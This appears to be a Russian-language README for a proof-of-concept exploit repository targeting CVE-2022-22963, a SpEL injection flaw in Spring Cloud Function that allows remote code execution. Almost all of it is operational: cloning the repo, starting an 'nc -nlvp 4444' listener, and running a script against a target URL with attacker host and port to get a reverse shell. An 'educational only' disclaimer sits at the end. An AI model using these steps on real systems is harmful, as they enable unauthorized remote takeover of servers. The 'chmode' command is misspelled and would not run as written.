
Эксплойт для проверки концепции уязвимости CVE-2022-22963, инъекция SpEL в Spring Cloud Function, приводящая к удаленному выполнению кода. Включает shell-скрипт для автоматической эксплуатации с полезной нагрузкой reverse shell.
В версиях 3.1.6, 3.2.2 и более ранних версиях Spring Cloud Function при использовании функции маршрутизации возможно, что пользователь может предоставить специально разработанный SpEL в качестве выражения маршрутизации, что может привести к удаленному выполнению кода и доступу к локальным ресурсам.
Клонируйте репозиторий
git clone https://github.com/jrbH4CK/CVE-2022-22963.git
Перейдите в папку
cd CVE-2022-22963
Измените права на выполнение
chmode +x springCloud.sh
Запустите nc на нужном порту
nc -nlvp 4444
Выполните следующую команду, изменив параметры в соответствии с вашими потребностями
./springCloud.sh url lhost lport
ПРИМЕЧАНИЕ: Использование этого репозитория является ответственностью того, кто его использует, а не автора, и предназначено только для образовательных целей.